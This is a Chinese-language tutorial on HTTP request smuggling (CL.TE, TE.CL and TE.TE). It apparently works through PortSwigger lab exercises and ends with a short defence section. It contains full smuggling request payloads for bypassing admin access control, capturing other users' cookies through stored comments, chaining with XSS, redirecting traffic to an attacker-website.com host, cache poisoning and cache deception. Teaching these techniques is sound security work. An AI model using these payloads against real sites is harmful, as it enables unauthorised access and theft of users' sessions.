目录
1. 什么是HTTP请求夹带攻击?
2. HTTP请求夹带原理
3. HTTP请求夹带漏洞如何产生?
4. HTTP请求夹带利用方式
5. 基础HTTP请求夹带
5.1 CL.TE漏洞
5.2 TE.CL漏洞
5.3 TE.TE漏洞——混淆TE头
6. HTTP请求夹带之如何挖掘
6.1 漏洞检测—延时技术
6.1.1 延时技术——CL.TE漏洞
6.1.2 延时技术——TE.CL漏洞
6.2 漏洞确认—响应包差异
6.2.1 CL.TE漏洞——响应包差异
6.2.2 TE.CL漏洞——响应包差异
6.3 Smuggle-attack工具使用
7. HTTP请求夹带之利用与绕过
7.1 绕过安全访问控制机制
7.1.1 CL.TE漏洞——绕过安全访问
7.1.2 TE.CL漏洞——绕过安全访问
7.2 外带前端服务器重写请求的内容
7.2.1 外带前端服务器重写请求的内容——利用
7.3 抓取其他用户的请求
7.3.1 抓取其他用户的请求——利用
7.4 HTTP请求夹带&反射XSS
7.4.1 HTTP请求夹带&反射XSS——盗取用户Cookie
7.5 HTTP请求夹带重定向
7.6 HTTP请求夹带——缓存投毒
7.7 HTTP请求夹带&缓存欺骗
8. HTTP请求夹带防护
9. 参考
HTTP请求夹带(HTTP request smuggling)是一种干扰网站处理从一个或多个用户接受的请求的一种攻击技术。通俗地理解就是:攻击者发送一个语句模糊的请求,就有可能被解析为两个不同的HTTP请求,第二请求就会“逃过”正常的安全设备的检测,使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。
现金的Web应用通常会在用户和最终应用程序逻辑之间使用大量的HTTP服务器,用以优化分流控制网络流量用户发送多个请求到Front-End前端服务器(也称负载均衡或反向代理服务器),然后这个服务器将请求转发到一个或多个后端服务器处理。
当Front-End前端服务器想把HTTP请求转发给时,它通常会经由相同的后端网络链路传输发送多个请求,因为种方式的效率和性能更高(如下图所示)。传输协议也非常简单:HTTP请求按序列发送,收到请求的服务器通过解析请求的HTTP头来确定其中某个请求的结束位置,以及下一个请求的开始。
此时,Front-End前端服务器和Back-End后端服务器关于多个请求之间的边界问题的一致性是非常重要的!否则,攻击者可能发送一个模糊的请求,若前端服务器和后端服务器之前对请求的边界没有严格定义好,就会对这个请求执行不用的解析处理方式,从而产生不同的相应结果,请求夹带攻击也就由此产生。
产生HTTP请求夹带漏洞的原因大多是因为HTTP规范提供了两种不同的方式来指定请求的结束位置,分别是Content-Length(CL)和Transfer-Encodeing(TE)。
Content-Length头表明了以字节为单位的消息长度
比如:
POST /search HTTP/1.1
Host: website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
Transfer-Encoding头常常用于指定请求体使用分块编码(Chunked Encode),也就是说消息报文由一个或多个数据块组成,每个数据块由十六进制的字节块组成,后跟换行符,然后是块内容,最重要的是:整个消息报文以大小为0的块结束。换句话说就是解析遇到0就结束。
比如(注意,0后面还有两个 \r\n):
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
值得一提的是,关于Chunked Encode这种传输编码方式,之前可以利用这个字段去绕过一些WAF,具体参考工具 https://github.com/c0ny1/chunked-coding-converter
当HTTP规范支持者两种不同的方法去指定消息报文的长度时,单个请求可以同时使用者两种方法,很可能会产生冲突,即单个请求被解析成两个请求。HTTP规范也试图通过声明来防止此漏洞,如:如果Content-Length和Transfer-Encoding标头同时出现在一个请求中,则应忽略Content-Length标头。这种规范在一台服务器接收请求时可以避免漏洞,但在两台或多台服务器链接收请求时还是可能会出现问题。原因在于:
1. 某些服务器不支持请求中的Transfer-Encoding头;(造成TE.CL)
2. 如果攻击者把标头以某种方式进行模糊构造,则可能会导致某些支持Transfer-Encoding标头的服务器不会处理部份消息内容,而把这些内容当成是下一个请求的起始。(TE.TE)
至此,前端服务器和后端服务器对模糊构造的Transfer-Encoding标头解析结果不同,相互之间对请求的边界不能达成一致,就会导致请求夹带漏洞的产生。
HTTP请求夹带攻击需要将Content-Length头和Transfer-Encodeing头放入单个请求中,并操控使得前端和后端服务器以不同方式处理请求,这种攻击取决于前端和后端两台服务器对标头的处理方式:
CL.TE:前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头;
TE.CL:前端服务器使用Transfer-Encoding头,后端服务器使用Content-Length头;
TE.TE:前端和后端服务器都支持采用Transfer-Encoding头,但可以通过某种方式对标头进行模糊构造,导致其中一台服务器不对它进行TE处理。
以下通过靶场演示来进一步了解HTTP请求夹带的基本利用方式。
这里的前端服务器采用Content-Length头,而后端服务器采用Transfer-Encoding头。攻击者可以通过以下单个请求来进行夹带攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 17
Transfer-Encoding: chunked
0
smuggle-data
简单解释一下过程,前端服务器通过Content-Length头来确定了消息报文长度大小为13个字节(换行为\r\n,算2个字节),这17个字节包括了POST的所有数据:
0
smuggle-data
此时消息报文传输到采用Transfer-Encoding头的后端服务器,它是采用分块编码来处理消息报文的,当解析到第一个分块为0时,处理结束。那么剩余未处理的 smuggle-data 字节内容,后端服务器将一直等待直至下一个请求到来时处理,即后端服务器将这些字节视为序列中下一个请求的开始。此时若前端服务器继续向后端服务器发送请求或其他用户发送请求时,那么后端服务器接收的下一个请求内容就是:
smuggle-dataPOST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 15
Transfer-Encoding: chunked
......
这样后端服务器将会返回响应:
Unrecognized method smuggle-dataPOST
-------------------------------------------------我不是分隔线-------------------------------------------------
了解漏洞过程之后,话不多说,直接演示
主页抓包,将GET请求方法改为POST:
请求正常:
加入TE头,并且构造POST数据,夹带出GPOST请求
发送恶意请求:
继续发送第二个请求(这个请求也可能是其他用户发送的,总之都在后端服务器的请求序列中),这个请求将加入后端服务器的请求等待序列并且被处理解析为GPOST请求方式:
这里的前端服务器采用Transfer-Encoding头,而后端服务器采用Content-Length头。攻击者可以通过以下单个请求来进行夹带攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
12
smuggle-data
0
过程和上一lab相反,在单个请求中,前端服务器使用Transfer-Encoding头,将消息体视为分块编码方式,现不是依照CL头的长度来结束请求,而是通过TE头规范中遇到0字节来结束请求。故当前端服务器接收到第一个请求时候,解析得到的数据为:
12
smuggle-data
此数据包传输到采用Content-Length头的后端服务器,由于CL指定的长度为4,所以消息内容到12结束,剩余未处理的 smuggle-data 字节内容,后端服务器将一直等待直至下一个请求到来时处理。
在bp的Repeater时,要将"Repeater >> Update Content-Length"选项关闭,手工指定长度。
同样主页抓包,改为POST请求方式,并且加入Transfer-Encoding字段头:
意图是在采用Content-Length头的后端服务器处理时,只处理1字节,而剩余的:
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
造成请求夹带,这里手动将CL的长度改为4:
第二次发送请求即可夹带出GPOST请求:
这里前端服务器和后端服务器都采用了Transfer-Encoding头的方式,但可以通过混淆TE头的方式来使得其中一个服务器不使用TE头的处理方式。
常见的混淆TE:
1. Transfer-Encoding: xchunked
2. Transfer-Encoding : chunked
3. Transfer-Encoding: chunked
4. Transfer-Encoding: x
5. Transfer-Encoding:[tab]chunked
6. [space]Transfer-Encoding: chunked
7. X: X[\n]Transfer-Encoding: chunked
8. Transfer-Encoding
: chunked
要发现TE.TE漏洞,必须找到Transfer-Encoding头的某些变体,构造之,使得前端或后端服务器只有一个对其进行处理,而另一个服务器不进行TE解析,转而进行CL解析,演变成CL.TE或TE.CL漏洞的形式。
第一次请求:
通过第一次请求,TE.TE转为TE.CL形式。
第二次请求,即完成HTTP请求夹带攻击:
上述篇幅仅仅演示了HTTP请求夹带的基本利用方式和过程,那么如何挖掘和发现HTTP请求夹带漏洞也是非常之关键的一个点。
一种非常普遍且高效的做法就是:发送一个将导致服务器响应延时/超时的请求,若漏洞存在,则会延时或者超时响应。
若Web存在CL.TE类型的HTTP请求夹带漏洞,可以构造如下请求,判断是否导致延时:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
当前端服务器使用头且规定了CL的长度时,它仅仅会转发请求中的部分内容,X除外。而后端服务器使用Transfer-Encoding分块传输方式,它会接受到第一个分块数据 1\r\nA,但未遇到结束符0,继续等待直至响应超时。
若是TE.CL,则构造如下请求:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
当前端服务器使用Transfer-Encoding头,在处理第一个分块的时候就遇到了0,结束解析,将数据包发送到后端服务器,X除外。而后端服务器使用Content-Length的方式,它会继续等待6个字节长度的数据直至响应超时。
通过上述方法检测到可能存在HTTP请求夹带漏洞之后,此时就尝试根据响应包内容的差异性来确实该漏洞是否可利用。一般发送两个不同作用的请求包来判断:
如果第二个正常请求包的响应包含了一些“非预期”的内容,那么基本就可以确认漏洞的存在了。
例如,假设一个站点存在CL.TE漏洞,构造的夹带请求包如下:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
这个正常请求理所应当地会得到200的响应码,但受到干扰后的第二个攻击请求可能会得到404之类的响应码(如下)。
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
按照之前的做法,这里直接夹带一个404页面:
第二次发送正常的请求即可发生请求夹带:
可以看到,与延时技术不同,这里通过自定义夹带逃逸的第二次“正常”的请求包,过程原理和上述的构造GPOST请求方式一样。
对于TE.CL漏洞,第一个构造的恶意请求包:
再发送第二个正常的请求包即可夹带404:
在渗透测试中,难道那么多页面都要这样挨个去测?有没有工具去批量检测呢?
答案是肯定的。
使用插件:Burpsuite >> Extender >> BApp Store >> HTTP Request Smuggler
可以自定检测出请求夹带的点,方便进行进一步测试
使用默认配置进行探测:
结果在 Target >> 目标站点 >> Issues
以CL.TE为例,右键进行Smugge-attack:
修改要夹带(重定向)的请求头:
Attack后,成功重定向到404:
HTTP请求夹带攻击可以做很多危害站点的行为,比如绕过安全访问控制机制从而访问未授权页面、获取敏感信息等。
大多Web应用中,前端服务器常常做了严格的安全访问控制机制规则,控制请求是否有权限被后端服务器处理,后端服务器在处理前端服务器转发过来的请求时,鉴于前端服务器严格的安全访问控制机制和考虑设备性能的情况下,不会做过多安全检查。故可以通过HTTP请求夹带来将页面重定向到未授权的页面上,从而绕过安全访问控制。
例如,当前用户的权限只能访问/home页面,没有权限访问/admin,若Web存在CL.TE类型的HTTP请求夹带漏洞,当前用户可以绕过安全机制,利用夹带技术未授权访问页面:
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
目标是访问未授权页面/admin,并通过页面来删除用户carlos
首先通过延时技术来判断是否存在CL.TE漏洞点:
服务器10秒超时了,存在CL.TE
接着尝试利用HTTP请求夹带Bypass访问/admin页面:
尝试1
第一次请求:
第二次请求出现401未授权:
可能是缺少Host头导致的
尝试2
第二次请求出现两次请求头不一样的拒绝信息:
可能是缺少Content-Type字段
尝试3
第二次请求即可重定向到未授权的页面/admin
最后直接构造删除carlos用户的请求夹带即可(省略第一次请求的图):
为什么当请求缺少一些headers头字段时,后端服务器会拒绝处理解析?
有什么办法可以知道后端服务器需要哪些必要的字段或前端服务器新增了哪些字段呢?
这里先埋一个伏笔,下文会提。
同样通过延时技术来判断是否存在TE.CL漏洞点:
超时了说明存在,过程原理与CL.TE大同小异
第一次请求:
第二次请求即跳转到/admin
需要注意的是,夹带的请求中,POST或GET都可能作为拦截规则被过滤,所以尝试的夹带请求方式可以使用采取相应的替换或绕过。
在许多Web应用中,前端服务器在向后端服务器发送请求的时候,往往会先添加一些必要的请求头字段,这些字段是后端服务器对请求进行处理所必须的。这也是上述实验中,后端服务器拒绝处理缺少某些headers头字段请求的原因!
例如,前端服务器可能需要:
基于上述几点,如果构造的夹带请求缺少前端服务器所需的headers头字段时,后端服务器往往不会处理解析此请求(前面一些Lab也遇到过要添加某些headers的情况)。
只要我们去找前端服务器如何重写请求就好了,即重写/新增了哪些字段,简单流程如下:
举个栗子,假设一个Web应用存在CL.TE漏洞,且有一个将email参数输出到响应包(页面)的登录功能:
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
[email protected]
输出的响应包中:
对此,可以对应的使用如下的夹带请求来显示出前端服务器到底重写/添加了哪些字段:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
前端服务器将重写这个请求(可能是重写或新增一些headers字段),对应的后端服务器将处理解析这个夹带的请求(第二个正常的请求),并且会将重写后的请求包通过email参数外带到响应包(页面)中:
7.2.1 外带前端服务器重写请求的内容——利用
首先查找一个将请求参数的值输出到响应包中的POST请求:
只有一个参数,省去参数排序的步骤,进行请求夹带漏洞利用
先判断是什么夹带类型,发送CL.TE的poc:
发现超时了,存在CL.TE类型的漏洞
直接进行对应的请求夹带漏洞利用,并且将夹带的数据赋值给search参数:
第二次正常的请求即可外带出请求重写的字段:
发现字段不全,原因是Content-Length的长度设置得太小了,可以适当调整大小:
找到前端服务器重写的字段为:
X-jxlOel-Ip: x.x.x.140
直接请求夹带到/admin页面即可:
7.3 抓取其他用户的请求
既然能够通过夹带请求包外带出服务器的处理解析方式,当然也可以抓取其他用户的请求信息,包括Cookie、Session Token以及其他敏感用户等信息。
如果Web应用存在一些能够接收文本数据并存储的功能时,那么就可以利用HTTP请求夹带来捕获或外带出其他用户的请求信息。这种做法的原理类似于存储型XSS。漏洞常常出现的功能点:注释、配置文件、屏幕名称等。
漏洞利用的原理和过程与外带前端服务器重写请求的内容大同小异,只不过这里是将HTTP请求夹带的请求包提交到存储功能处,其中包含数据的参数同样位于请求包最后,后端服务器在处理下一个用户正常的请求的时候就会将其追加到夹带的请求中,结果将存储到另一个用户的请求中。
假设某网站用如下请求包来提交一个评论(评论肯定是存储在数据库的):
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
以CL.TE为例,通过执行如下HTTP请求夹带,将夹带的请求数据存储到服后端服务器上:
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324
0
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
当后端服务器接收并处理另一个用户的请求时,用户的请求数据将会追加到comment参数值,那么此用户的请求数据将完全泄露:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO
csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
这种技术的一个局限性在于,它通常只用来抓取用户的请求包数据,直到匹配到该请求规范使用的参数定界符为止。 如,对于URL编码的表单提交,它是&字符,这意味着从受害用户的请求中存储的内容将以第一个&结束,甚至可能出现在查询字符串中。
7.3.1 抓取其他用户的请求——利用
首先判断该站点是否存在请求夹带漏洞:
判断得知为CL.TE类的请求夹带。
同时站点有一个提交评论的地方:
在存在请求夹带的页面,夹带一个提交评论的请求包:
这个请求包将存储在评论列表里,只要任何用户访问就可以将其请求包数据存储在评论内容comment里
刷新一下评论列表:
再刷新:
适当调整Content-Length即可获取到全部的请求包数据。
7.4 HTTP请求夹带&反射XSS
这个情况的利用比较受限,需要HTTP请求夹带&反射XSS两个漏洞进行组合拳攻击,才能获取到用户的请求等信息:
- 不需要与受害者交互,仅需将XSS嵌入夹带的请求中,当下一个受害用户的请求到来时,后端服务器会自动处理;
- 若能在HTTP的请求的某些字段中应用XSS,但是由于作为HTTP请求头,不能完全地控制参数进行XSS,故要配合请求夹带攻击。
例如,假设一个站点的请求头中的User-Agent字段存在一个反射型XSS,你可以配合HTTP请求夹带进行获取受害者的Cookie:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent:
Foo: X
7.4.1 HTTP请求夹带&反射XSS——盗取用户Cookie
首先通过延时技术发现主页存在CL.TE类型的夹带漏洞:
又发现在提交评论的地方,User-Agent存在反射型XSS:
两者配合:
当用户访问的时候,就能成功get到用户的请求:
7.5 HTTP请求夹带重定向
许多站点都使用重定向功能,特别的有些是根据请求头中的host字段来进行重定向。例如一个IIS服务器,当请求的URL不是目录的时候,将会自动在后面加上/,并重定向到其目录下:
请求:
GET /home HTTP/1.1
Host: normal-website.com
响应:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
这种做法看似是没有问题的,但是如果存在HTTP请求夹带就有问题了,它能将用户重定向到攻击者指定的页面上。
例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
请求夹带之后,如果是根据host头进行跳转,这会影响到下一个用户的请求,用户的请求将会变为:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
响应结果:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
7.6 HTTP请求夹带——缓存投毒
在基于HTTP请求夹带Host跳转重定向的基础上,如果前端服务器还有缓存静态资源的功能的话,还可以配合进行缓存投毒。
例如,攻击者发送了一个夹带请求到前端服务器:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
这个夹带的请求将在重定向之前被后端服务器处理,对下一个请求造成影响,前端服务器会缓存这个响应包,当用户第二次访同一个/static/include.js时,直接造成缓存投毒重定向到攻击者指定的页面上。
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
例如,一个站点有一个重定向的功能,且是根据请求头中的Host重定向到https://host/post下:
又发现站点有缓存的功能:
主页也存在CL.TE类的请求夹带:
利用以上三点,可以进行HTTP请求夹带&缓存投毒:
POST / HTTP/1.1
Host: ac1c1fb11fc3d49a8096c47200b800ad.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: baidu.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
证明了可以进行请求夹带&Host重定向攻击来影响下一个正常的请求的(这个请求可能是读取缓存的请求)
再在自己的服务器上搭建一个与重定向同级的目录(/post):
然后进行请求夹带,使下一个正常的请求重定向到攻击者服务器上:
POST / HTTP/1.1
Host: ac1c1fb11fc3d49a8096c47200b800ad.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: ac2b1fc21fd4d403809bc4c101420077.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
然后访问/resources/js/tracking.js文件,发现响应为请求夹带的重定向到攻击者服务器上的文件:
再访问主页即可弹窗:
因为原请求的/resources/js/tracking.js会被前端服务器认为是静态资源,所以想要缓存起来,但这时我们利用 HTTP请求夹带将这个请求重定向了我们(或攻击者)的服务器上,返回了alert(document.cookie)
给原请求,然后这个响应包就会间接地被前端服务器缓存起来,这样我们就成功进行了投毒。
7.7 HTTP请求夹带&缓存欺骗
其实这个场景与缓存投毒类似,但是稍有一点区别:
- 缓存投毒,攻击者诱导服务器存储一些恶意的缓存内容,且这些恶意内容会作为缓存影响到其他用户。
- 缓存欺骗,攻击者诱导服务器存储一些其他用户的敏感缓存内容,且攻击者接着从缓存中获取这些敏感内容。
例如,攻击者通过HTTP请求夹带窃取用户的一些敏感信息:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked
0
GET /private/messages HTTP/1.1
Foo: X
接着其他用户的下一个请求(包含Session等敏感信息)将会拼接到夹带的请求后面:
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
可以看到用户原本请求的路径被拼接到夹带请求的Foo字段中了,剩下的都是正常的请求部分,只不过里面包含了用户的敏感信息。若服务器有缓存的功能,那么前端服务器会将静态资源文件 /static/some-image.png 缓存起来,下一次再请求的时候就直接返回缓存的内容,攻击者也是利用这一步获取到用户信息的。
请求:
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
响应(缓存):
HTTP/1.1 200 Ok
...
Your private messages
...
用下面实验来演示如何盗取已登录用户的敏感信息key
首先判断得知主页存在请求夹带:
用户额key存在于:https://ac661fb61f6945588028025000ca0048.web-security-academy.net/my-account
直接在主页下请求夹带:
POST / HTTP/1.1
Host: ac661fb61f6945588028025000ca0048.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Transfer-Encoding: chunked
0
GET /my-account HTTP/1.1
Foo: X
然后刷新主页,看看加载的静态资源中有没有key:
如没有,就一直夹带+刷新,直到缓存出现
实际攻击者会直接暴力枚举,然后搜索缓存是否出现:
8. HTTP请求夹带防护
前面说过,HTTP规范也试图通过声明来防止此漏洞,如:如果Content-Length和Transfer-Encoding标头同时出现在一个请求中,则应忽略Content-Length标头。这种规范在一台服务器接收请求时可以避免漏洞,但在两台或多台服务器链接收请求时还是可能会出现问题。
对此,防止HTTP请求夹带漏洞的常用方法如下:
- 禁用后端连接的复用,使得每个后端请求通过单独的网络连接发送;
- 使用HTTP/2协议的后端连接,此协议能够整合前后端对请求边界的一致性;
- 前后端服务器使用完全相同的Web服务软件,以便请求之间的边界达成一致;
9. 参考
https://portswigger.net/web-security/request-smuggling